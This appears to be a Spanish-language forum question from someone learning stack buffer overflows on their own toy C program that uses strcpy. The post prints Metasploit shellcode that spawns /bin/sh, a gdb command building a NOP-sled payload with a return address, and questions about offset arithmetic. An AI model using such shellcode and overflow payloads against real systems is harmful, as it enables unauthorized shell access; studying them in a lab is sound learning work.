Tengo un programa c fácil con:
char Buffer[500]
strcpy(Buffer,arvg[1])
Intenté provocar un desbordamiento con NOPs + exploit + return address.
utilizado: gdb debugger and gcc
dirección de retorno: se dirige a NOPs
payload: se genera mi metasploit payload linux/x86/exec
con cmd / bin / sh, para abrir solo un shell
El problema, no está generando otro proceso, la dirección de retorno debe ser correcta. Tal vez sea la hazaña?
msf payload(linux/x86/exec) > generate
# linux/x86/exec - 43 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/bin/sh
buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +
"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +
"\x80"
run $(python -c 'print "\x90" *356 +payload + "\x90" * 86 +"\x54\xff\x22\x00" ')
El EIP contiene la dirección de retorno dada, si agrego 20 x90 más, se bloquea y puedo ver la dirección de retorno en el eip con info registers
.
Si cuento esto juntos, 356 + 43 + 86 + 4 = 489. ¿Pero debería tener una longitud de 500 + 4 ebp + 4 eip bytes?